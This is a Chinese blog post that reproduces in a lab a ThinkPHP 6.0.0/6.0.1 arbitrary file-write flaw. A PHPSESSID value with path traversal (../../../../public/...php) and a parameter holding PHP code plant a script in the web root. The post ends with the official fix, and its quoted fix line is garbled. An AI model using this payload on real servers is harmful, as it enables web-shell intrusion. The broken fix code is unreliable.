ThinkPHP6.0任意文件上传 PHPSESSION 已亲自复现

ThinkPHP6.0任意文件上传 PHPSESSION 已亲自复现

  • 漏洞名称
    • 漏洞描述
    • 影响版本
  • 漏洞复现
    • 环境搭建
      • 安装thinkphp6
      • 漏洞信息配置
    • 漏洞利用
  • 修复建议

漏洞名称

漏洞描述

2020年1月10日,ThinkPHP团队发布一个补丁更新,修复了一处由不安全的SessionId导致的任意文件操作漏洞。该漏洞允许攻击者在目标环境启用session的条件下创建任意文件以及删除任意文件,在特定情况下还可以getshell。

影响版本

ThinkPHP 6.0.0
ThinkPHP 6.0.1

漏洞复现

环境搭建

受害者IP:192.168.10.145
攻击者IP:127.0.0.1

安装thinkphp6

下载PHPstudy_pro,网上一堆自己找吧,链接不推了。
利用PHPStudy_pro对环境进行安装Composer2.5.8

ThinkPHP6.0任意文件上传 PHPSESSION 已亲自复现_第1张图片

创建网站,域名think6,会在think6目录下生成.htaccess文件和nginx.htaccess文件,将这两个文件移动到上个目录,也就是www目录下。

ThinkPHP6.0任意文件上传 PHPSESSION 已亲自复现_第2张图片

打开composer,composer2.5.8,php>=7.2

ThinkPHP6.0任意文件上传 PHPSESSION 已亲自复现_第3张图片
ThinkPHP6.0任意文件上传 PHPSESSION 已亲自复现_第4张图片
在www目录下面执行这个命令

cd ../
composer create-project topthink/think think6(think6自定义,这个会生成一个文件夹)  

将 think6/composer.json 文件的 “topthink/framework”: “^6.0.0” 改成 6.0.0 版本,并执行更新命令

ThinkPHP6.0任意文件上传 PHPSESSION 已亲自复现_第5张图片

进入tp6目录
cd tp6
composer update

在本地访问网站为6.0.0,则成功搭建。
ThinkPHP6.0任意文件上传 PHPSESSION 已亲自复现_第6张图片

漏洞信息配置

构造位置:think6\app\controller\Index.php
需要增加构造的内容:

use think\facade\Session;
session::set('demo',$_GET['c']);

ThinkPHP6.0任意文件上传 PHPSESSION 已亲自复现_第7张图片

/think6/app/middleware.php 文件开启session,去掉注释session的//

ThinkPHP6.0任意文件上传 PHPSESSION 已亲自复现_第8张图片

漏洞利用

构造参数c和phpsessid;

index?c=<?php phpinfo();?>
PHPSESSID=../../../../public/1omg12377.php

ThinkPHP6.0任意文件上传 PHPSESSION 已亲自复现_第9张图片

访问public目录下的1omg12377.php文件。

ThinkPHP6.0任意文件上传 PHPSESSION 已亲自复现_第10张图片

修复建议

官方修复建议:对session id 加一个过滤,使用ctype_alnum()

$this->id = is_string($id) && strlen($id) === 32 ctype_alnum($id&& ? $id : md5(microtime(true) . session_create_id());

你可能感兴趣的:(网络安全)